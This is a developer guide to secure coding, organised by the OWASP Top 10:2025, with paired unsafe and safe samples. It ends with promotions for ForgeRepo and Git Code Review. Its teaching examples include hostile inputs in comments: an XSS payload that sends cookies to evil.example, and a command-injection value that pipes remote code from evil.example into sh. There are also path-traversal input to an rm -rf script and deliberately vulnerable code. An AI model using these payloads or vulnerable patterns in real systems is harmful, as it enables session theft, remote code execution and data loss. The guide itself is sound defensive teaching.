Guide for developers
Secure coding, one habit at a time
Most vulnerabilities are ordinary code written in a hurry: a string joined into a query, an id nobody checked, a key pasted in to make a test pass. Here is the short list of habits that prevent most of them, each with the unsafe version you have probably seen and a safer one you can copy.
What this covers, mapped to the OWASP Top 10
The OWASP Top 10:2025 is the current edition. Two changes matter for developers: software supply chain failures became their own category at A03, and a new A10 covers mishandled exceptional conditions, code that fails open or leaks when something unexpected happens. Server side request forgery, a separate category in 2021, is now part of A01 Broken Access Control. For requirements you can test against, use OWASP ASVS 5.0.
| OWASP Top 10:2025 | Closest 2021 category | Where it is covered here |
|---|---|---|
| A01 Broken Access Control | A01, plus A10 SSRF | Access checks |
| A02 Security Misconfiguration | A05 | Secure defaults |
| A03 Software Supply Chain Failures | A06 Vulnerable and Outdated Components, widened | Dependencies, Secure pipelines |
| A04 Cryptographic Failures | A02 | Crypto, Secrets |
| A05 Injection | A03 (includes XSS) | Validation, Injection |
| A06 Insecure Design | A04 | Threat modeling |
| A07 Authentication Failures | A07 Identification and Authentication Failures | Password storage, Cookies |
| A08 Software or Data Integrity Failures | A08 | Dependencies, Provenance and signing |
| A09 Security Logging and Alerting Failures | A09 Security Logging and Monitoring Failures | Errors and logs |
| A10 Mishandling of Exceptional Conditions | New in 2025 | Failing closed |
Validate input, encode output
Two separate jobs that are often confused. Validation happens when data comes in: is this the shape, type, length and range you expect? Use allow lists (what is permitted), not block lists (what you thought of). Encoding happens when data goes out: HTML, SQL, a shell, a URL and JSON each need their own escaping, and the right place to do it is the output, with the framework's own tools.
- Validate on the server. Browser checks are for the user's convenience, not for security.
- Parse into a type (
int,Decimal, a date, an enum) and check ranges, instead of passing strings around. - Let the template engine escape. Reach for
innerHTML,dangerouslySetInnerHTML,|safeorHtml.Rawonly with sanitized content. - Rich text needs a sanitizer with an allow list of tags, not a regular expression.
Putting text into a page
// greeting.js, shows ?name= from the URL
const name = new URLSearchParams(location.search).get("name");
document.querySelector("#greeting").innerHTML =
"Welcome back, " + name;
// ?name=<img src=x onerror=fetch('//evil.example/'+document.cookie)>innerHTML parses the string as HTML, so the link becomes script. This is DOM based XSS.
// greeting.js
const name = new URLSearchParams(location.search).get("name") ?? "";
// textContent never parses markup: the tag shows up as text
document.querySelector("#greeting").textContent =
"Welcome back, " + name.slice(0, 60);Use textContent or your framework's normal binding, which escapes by default. Add a Content Security Policy as a second layer.
Taking a number from a form
@app.post("/transfer")
def transfer():
amount = float(request.form["amount"]) # "-500", "nan", "1e308"
to_account = request.form["to"] # anything at all
ledger.move(current_user.id, to_account, amount)
return "", 204A negative amount moves money the other way, and float brings rounding errors to money.
import re
from decimal import Decimal, InvalidOperation
ACCOUNT = re.compile(r"[A-Z]{2}\d{8}")
LOW, HIGH = Decimal("0.01"), Decimal("10000")
@app.post("/transfer")
def transfer():
try:
amount = Decimal(request.form["amount"])
except (KeyError, InvalidOperation):
abort(400)
to_account = request.form.get("to", "")
if (not amount.is_finite() or not LOW <= amount <= HIGH
or not ACCOUNT.fullmatch(to_account)):
abort(400)
ledger.move(current_user.id, to_account, amount)
return "", 204Parse into the right type, then check the range and the format with an allow list. Reject, do not "fix up", bad input.
Further reading: Input Validation and Cross Site Scripting Prevention cheat sheets.
Injection: SQL, commands and templates
Every injection bug has the same shape: data is glued into something that will be interpreted, and the data contains syntax. The fix also has one shape: keep code and data apart, so the interpreter is told which part is which. Parameterized queries, argument lists instead of a shell string, and fixed templates with variables.
SQL
q = (f"SELECT id, total FROM orders "
f"WHERE customer = '{customer}' AND status = '{status}'")
rows = conn.execute(q).fetchall()An f-string, + or .format() into SQL is the bug, whatever the language. Escaping by hand misses cases.
rows = conn.execute(
"SELECT id, total FROM orders WHERE customer = %s AND status = %s",
(customer, status),
).fetchall()Placeholders send the values separately. ORMs do this for you, until you use their raw query escape hatch. Column names and sort order cannot be parameters: map them through an allow list.
Operating system commands
const { exec } = require("node:child_process");
app.get("/thumb", (req, res) => {
// file=cat.png;curl evil.example/x|sh
exec(`convert uploads/${req.query.file} -resize 200x200 png:-`,
{ encoding: "buffer" },
(err, out) => err ? res.sendStatus(500) : res.type("png").send(out));
});exec runs the string through a shell, so ;, | and $( ) all work for the attacker.
const { execFile } = require("node:child_process");
const path = require("node:path");
const NAME = /^[A-Za-z0-9][\w-]{0,63}\.(png|jpe?g)$/i;
app.get("/thumb", (req, res) => {
const file = path.basename(String(req.query.file ?? ""));
if (!NAME.test(file)) return res.sendStatus(400);
// no shell: arguments are a list, nothing in them is syntax
execFile("convert",
[path.join("uploads", file), "-resize", "200x200", "png:-"],
{ encoding: "buffer", maxBuffer: 5e6 },
(err, out) => err ? res.sendStatus(500) : res.type("png").send(out));
});Prefer a library over a subprocess. When you must run one, use execFile or spawn with an argument array and validate the values.
Shell scripts
#!/bin/sh
# cleanup.sh <name>
rm -rf /srv/uploads/$1
# ./cleanup.sh "" removes every upload
# ./cleanup.sh "../.." removes /srvUnquoted variables split on spaces and expand globs, and an empty value changes what the command means.
#!/usr/bin/env bash
set -euo pipefail
name=${1:?usage: cleanup.sh <name>}
[[ $name =~ ^[a-z0-9_-]+$ ]] || { echo "bad name" >&2; exit 2; }
rm -rf -- "/srv/uploads/${name}"Quote every expansion, fail on unset variables, validate against an allow list, and end options with --. Run shellcheck in CI.
Server side templates
from jinja2 import Template
@app.get("/hello")
def hello():
# the user's text becomes part of the template itself
return Template("<h1>Hello " + request.args["name"] + "</h1>").render()
# ?name={{7*7}} renders 49, and worse payloads reach Python objectsServer side template injection. Building a template from input is running input as code.
from flask import render_template_string
PAGE = "<h1>Hello {{ name }}</h1>" # fixed, and autoescaped by Flask
@app.get("/hello")
def hello():
return render_template_string(PAGE, name=request.args.get("name", ""))The template is a constant, the input is a variable. The same rule applies to Handlebars, Thymeleaf, Razor, Twig and friends.
Further reading: SQL Injection Prevention and OS Command Injection Defense cheat sheets.
Authentication, authorization and object level checks
Broken access control has been number one since 2021. The most common form is also the simplest: the code checks
that you are logged in, then fetches whatever id is in the URL. Change /invoices/1041 to
/invoices/1042 and you are reading someone else's invoice. This is called IDOR, or BOLA in the API world.
- Deny by default. Every endpoint states who may call it, including the ones "nobody knows about".
- Check ownership or tenancy in the query itself, not after the fact in the view.
- Take identity from the session or token, never from a field in the request body.
- Bind requests to a small input type (a DTO) so extra fields like
isAdminare ignored. - Use the platform's login, session and MFA support. Do not write your own session tokens or password reset flow from scratch.
- Write a test per role that proves the wrong user gets 403 or 404.
Fetching one record
@GetMapping("/api/invoices/{id}")
public Invoice get(@PathVariable long id) {
// logged in is not the same as allowed
return invoices.findById(id)
.orElseThrow(NotFoundException::new);
}Any logged in user can read any invoice by counting upward.
@GetMapping("/api/invoices/{id}")
public Invoice get(@PathVariable long id,
@AuthenticationPrincipal AppUser user) {
// scoped to the caller's account: someone else's id is "not found"
return invoices.findByIdAndAccountId(id, user.accountId())
.orElseThrow(NotFoundException::new);
}The ownership check is part of the lookup, so it cannot be forgotten in one code path. Returning 404 avoids confirming the record exists.
Updating a profile
[HttpPut("/api/profile")]
public async Task<IActionResult> Update([FromBody] User input)
{
// binds every property in the body: IsAdmin, AccountId, Email...
_db.Users.Update(input);
await _db.SaveChangesAsync();
return NoContent();
}Mass assignment. The caller chooses which user to update and which fields, including privileges.
public record ProfileUpdate(string DisplayName, string TimeZone);
[Authorize]
[HttpPut("/api/profile")]
public async Task<IActionResult> Update([FromBody] ProfileUpdate input)
{
var id = User.FindFirstValue(ClaimTypes.NameIdentifier);
var user = await _db.Users.FindAsync(id); // who is asking
if (user is null) return NotFound();
user.DisplayName = input.DisplayName; // only what may change
user.TimeZone = input.TimeZone;
await _db.SaveChangesAsync();
return NoContent();
}A small input record, the identity from the authenticated principal, and explicit assignments.
Further reading: Authorization Cheat Sheet.
Secrets handling
A secret in source code is a secret in every clone, every fork, every backup and every CI log that prints the file. Deleting it in the next commit does not help, it is still in history. The only fix for a leaked secret is to revoke and rotate it, then clean up.
- Load secrets at runtime from a secret manager, the platform's secret store or environment variables injected by it.
- Keep
.envand local key files in.gitignore, and commit a.env.examplewith blank values. - Scan for secrets before commit and on every pull request, and scan history once when you start.
- Prefer short lived credentials (OIDC, workload identity, cloud roles) so there is nothing long lived to leak.
- Never log secrets, tokens, session ids or full request headers.
# settings.py
PAYMENTS_API_KEY = "live_4eC39HqLyjWDarjtT1zdp7dc" # "temporary"
DB_URL = "postgres://app:Summer2026!@db.internal/prod"
client = PaymentsClient(api_key=PAYMENTS_API_KEY)Now in git history, in every developer's clone and in anything that indexes the repository.
# settings.py
import os
# injected at runtime by the platform: a secret manager,
# a Kubernetes secret or a CI variable. Fails fast if missing.
PAYMENTS_API_KEY = os.environ["PAYMENTS_API_KEY"]
DB_URL = os.environ["DATABASE_URL"]
client = PaymentsClient(api_key=PAYMENTS_API_KEY)The code names the secret, the platform supplies it. Different values per environment come for free.
#!/bin/sh
set -x # prints every command, token included
TOKEN=ghp_R2x9... # pasted in to "just make it work"
curl -H "Authorization: Bearer $TOKEN" \
https://api.example.com/deployThe token is in the script, in shell history and, with set -x, in the build log.
#!/usr/bin/env bash
set -euo pipefail # no set -x around secrets
: "${DEPLOY_TOKEN:?DEPLOY_TOKEN is not set}"
curl --fail -sS \
-H "Authorization: Bearer ${DEPLOY_TOKEN}" \
https://api.example.com/deployThe token comes from the environment, and the script refuses to run without it.
Further reading: Secrets Management Cheat Sheet. To find secrets already committed across your repositories, a free SAST and code review tool such as Git Code Review scans history as well as the current code.
Dependency hygiene
Most of the code you ship, you did not write. Every dependency is someone else's code running with your permissions, and every install is a fresh decision unless you pin it. The attacks are not theoretical: typosquats, hijacked maintainer accounts, dependency confusion and self spreading worms in npm have all happened at scale, see ten years of supply chain attacks.
- Commit the lockfile and install from it in CI:
npm ci,pnpm install --frozen-lockfile,yarn install --immutable,pip install --require-hashes,dotnet restore --locked-mode. - Pin exact versions for apps. Ranges like
^1.2.0are fine in a library's manifest, because the lockfile of the app decides. - Fewer dependencies. A ten line function you own beats a package with forty transitive dependencies.
- Review new dependencies like new code: who maintains it, how old is it, does the name match what you meant, does it run install scripts, what does it pull in.
- Wait before adopting brand new releases. Most malicious versions are found and removed within days. A cooling off period lets that happen before you install them.
- Reserve your internal names so a public package with the same name can never win, see dependency confusion.
- Check AI suggested packages exist and are the ones you expect. Assistants sometimes invent plausible names, and attackers register them.
npm install # resolves ranges fresh, may rewrite the lockfile
npm install colour-convert # meant color-convert, one letter off
pip install -r requirements.txt # "requests>=2", newest wins
# all of it straight from the public registriesTwo builds of the same commit can install different code, and nothing stands between a bad release and the build.
npm ci # exact versions from package-lock.json, fails if out of sync
npm config get registry # https://packages.example.com/ (your firewall)
pip install --require-hashes -r requirements.txt
# requirements.txt made with pip-compile --generate-hashes:
# requests==2.32.5 --hash=sha256:...Reproducible installs from a lockfile, with hashes, through a registry you control. Update on purpose, in a reviewed pull request.
ForgeRepo™ is that registry: a free, self hosted proxy that applies cooling off, malware scanning, provenance checks and reserved names to every install, and lets developers request a blocked package instead of working around the block. See also the NPM Security Cheat Sheet.
Error handling and logging, without leaking
Errors have two audiences. The user needs to know something went wrong and what to do next. The operator needs the detail to fix it. Mixing them up sends stack traces, SQL and file paths to attackers, and sends passwords into log files that far more people can read than the database.
- Return a generic message and a reference id. Log the detail against the same id.
- Log security events: logins, failures, permission denials, admin actions, changes to keys and roles. With who, what, when and from where.
- Never log passwords, tokens, session ids, full card numbers or whole request bodies. Redact by field name in the logger.
- Strip or encode line breaks in values you log, so a user cannot forge log lines.
- Fail closed. When a check cannot run, the answer is no, not yes.
app.use((err, req, res, next) => {
res.status(500).json({
error: err.message, // "relation \"users\" does not exist"
stack: err.stack, // paths, versions, line numbers
query: req.query,
});
});
logger.info(`login ok email=${req.body.email} password=${req.body.password}`);The response is a map of the server, and the log file is now a password list.
const { randomUUID } = require("node:crypto");
app.use((err, req, res, next) => {
const id = randomUUID();
logger.error({ id, err, path: req.path }, "unhandled error");
res.status(500).json({ error: "Something went wrong", id });
});
logger.info({ event: "login_ok", user: req.user.id, ip: req.ip });The detail stays on the server, tied to an id support can search for. Log events and ids, not secrets.
def can_view(user, doc):
try:
return policy.check(user, doc)
except Exception:
return True # policy service down? let everyone inFails open. An outage, a timeout or a bug in the policy client becomes an access control bypass.
def can_view(user, doc):
try:
return policy.check(user, doc)
except PolicyUnavailable:
log.warning("policy unavailable, denying", extra={"doc": doc.id})
return False # fail closed, and say so in the logCatch the specific error you expect, deny, and leave a trace. Anything unexpected propagates and is handled as a 500.
Further reading: Logging Cheat Sheet.
Cryptography: the do's and don'ts
Do
- Use TLS everywhere, including between internal services.
- Hash passwords with Argon2id, scrypt or bcrypt, through a maintained library.
- Use authenticated encryption (AES-GCM, ChaCha20-Poly1305) from a high level library or your cloud KMS.
- Make tokens and ids from a cryptographically secure random source.
- Keep keys in a KMS or secret manager, and plan how to rotate them.
Don't
- Invent your own algorithm, protocol or "encoding".
- Use MD5 or SHA-1 for anything security related, or a fast hash for passwords.
- Use ECB mode, a fixed IV, or reuse a nonce with the same key.
- Use
Math.random(),randomorSystem.Randomfor secrets. - Turn off certificate checks to get past an error.
Storing passwords
import hashlib
stored = hashlib.md5(password.encode()).hexdigest()
# later
ok = hashlib.md5(attempt.encode()).hexdigest() == storedUnsalted and fast: a GPU tries billions of guesses a second, and identical passwords have identical hashes.
from argon2 import PasswordHasher
from argon2.exceptions import VerifyMismatchError
ph = PasswordHasher() # Argon2id, salted, tuned defaults
stored = ph.hash(password)
try:
ph.verify(stored, attempt)
if ph.check_needs_rehash(stored):
stored = ph.hash(attempt) # upgrade parameters over time
except VerifyMismatchError:
deny()A slow, salted, memory hard hash, and a path to raise the cost later without a migration.
Reset tokens and encryption
// predictable: Math.random is not a secure generator
const resetToken = Math.random().toString(36).slice(2);
await db.saveReset(user.id, resetToken); // stored as is, never expiresGuessable tokens, stored in plain text, valid forever.
const crypto = require("node:crypto");
const resetToken = crypto.randomBytes(32).toString("base64url");
const tokenHash = crypto.createHash("sha256").update(resetToken).digest("hex");
await db.saveReset(user.id, tokenHash, { expiresInMinutes: 30 });
// email resetToken, compare by hash, delete after one use256 random bits, only a hash at rest, short expiry, single use.
// "AES" alone means AES/ECB/PKCS5Padding in the default provider
Cipher c = Cipher.getInstance("AES");
c.init(Cipher.ENCRYPT_MODE, key);
byte[] out = c.doFinal(plain);ECB encrypts equal blocks to equal output and has no integrity check, so ciphertext can be edited unnoticed.
byte[] iv = new byte[12];
new SecureRandom().nextBytes(iv); // new IV for every message
Cipher c = Cipher.getInstance("AES/GCM/NoPadding");
c.init(Cipher.ENCRYPT_MODE, key, new GCMParameterSpec(128, iv));
c.updateAAD(recordId.getBytes(StandardCharsets.UTF_8));
byte[] out = c.doFinal(plain); // store iv + out; key from a KMSAuthenticated encryption with a fresh IV, bound to its record. Better still, let a library such as Tink or your KMS handle it.
Further reading: Password Storage and Cryptographic Storage cheat sheets.
Secure defaults
A setting that is safe only when someone remembers to change it will be left unsafe somewhere. Make the default the safe choice, make the unsafe choice loud and explicit, and never ship "temporary" debug switches. CISA's Secure by Design program makes the same case at the product level.
# "just for now", to get past a certificate error
r = requests.get(url, verify=False)
# no timeout: one slow server hangs the worker foreverAnyone on the network path can read and change the traffic, and the warning is usually silenced too.
# TLS is verified by default. For an internal CA, trust it
# explicitly: REQUESTS_CA_BUNDLE=/etc/ssl/certs/internal-ca.pem
r = requests.get(url, timeout=10)
r.raise_for_status()Fix the trust store, not the check. Always set a timeout.
// reflects whatever Origin asks, and allows cookies
app.use(cors({ origin: true, credentials: true }));
res.cookie("sid", sessionId); // readable by script, sent over httpAny website can call your API as the logged in user, and XSS can read the session cookie.
app.use(cors({ origin: ["https://app.example.com"], credentials: true }));
res.cookie("sid", sessionId, {
httpOnly: true, secure: true, sameSite: "lax", maxAge: 8 * 3600e3,
});An explicit allow list of origins, and session cookies that script cannot read and that only travel over HTTPS.
A code review checklist
Reviewers catch what tools cannot: missing checks, wrong assumptions, logic that works but should not. Keep the list short enough to use on every pull request. Paste it into your PR template.
Input and output
- New input is validated on the server, with an allow list.
- No string building into SQL, shell, templates, LDAP or XPath.
- Output uses the framework's escaping, no raw HTML sinks.
- File paths and URLs from users are checked (path traversal, SSRF).
Access
- Every new endpoint has an explicit authorization rule.
- Lookups are scoped to the caller's user, account or tenant.
- Identity comes from the session, not the request body.
- There is a test that the wrong user is refused.
Secrets and data
- No keys, passwords or tokens in the diff, including tests and fixtures.
- Nothing sensitive in logs, errors or analytics.
- Crypto comes from a library, with modern algorithms.
- Personal data is only collected if needed.
Dependencies and config
- New dependencies are justified, spelled right and reviewed.
- The lockfile changed only as expected.
- No debug flags, wide CORS or disabled checks.
- Errors fail closed and do not leak detail.
AI generated code gets the same review
Code from an assistant is code nobody on the team wrote. Review it with the same checklist, check that every suggested package exists and is the one you meant, and be wary of suggestions that disable a check to make an error go away.
Further reading: Secure Code Review Cheat Sheet.
SAST in the editor and the pull request
Static application security testing (SAST) reads source code for known bad patterns: injection sinks, weak crypto, hardcoded secrets, unsafe deserialization. It is cheap and fast, and it catches the mechanical mistakes so reviewers can spend their attention on logic.
- In the editor, so the developer sees the finding while the code is still in their head.
- On every pull request, reporting only findings the change introduced, as review comments.
- On a schedule across all repositories, including history, for secrets and for rules added later.
- Start with a baseline. Block merges on new high confidence findings only, and burn down the backlog separately.
- Tune it. A rule that is wrong most of the time teaches people to ignore every rule.
Git Code Review is a free SAST and code review tool from the same author as ForgeRepo™. It reads your repositories for vulnerable code and leaked credentials.
Threat modeling basics
Threat modeling is thinking about what could go wrong before it is built, when fixing it costs a whiteboard edit rather than a migration. It does not need a specialist or a tool. It needs forty five minutes, the people who know the design, and four questions:
- What are we working on? Draw the data flow: users, services, data stores, and the trust boundaries between them.
- What can go wrong? Walk each flow that crosses a boundary with STRIDE, below.
- What are we going to do about it? Fix, mitigate, accept with an owner and a date, or remove the feature.
- Did we do a good job? Turn the answers into tickets and tests, and revisit when the design changes.
| STRIDE | The question | Typical control |
|---|---|---|
| Spoofing | Can someone pretend to be another user or service? | Strong authentication, mTLS or signed tokens between services |
| Tampering | Can data or code be changed in transit, at rest or in the build? | TLS, integrity checks, signed artifacts, lockfiles with hashes |
| Repudiation | Could someone deny doing something, and could we prove otherwise? | Audit logs that users cannot edit |
| Information disclosure | Can data leak to someone who should not see it? | Object level authorization, encryption, careful errors |
| Denial of service | Can someone exhaust a resource? | Rate limits, timeouts, quotas, size limits |
| Elevation of privilege | Can someone gain rights they should not have? | Least privilege, deny by default, isolation |
Further reading: Threat Modeling Cheat Sheet, and OWASP Threat Dragon, a free diagramming tool for it. For running these sessions with a security team, see threat modeling together.
Stop bad packages before the install
Secure code still ships whatever its dependencies contain. ForgeRepo™ checks every package your developers and pipelines pull, free and self hosted.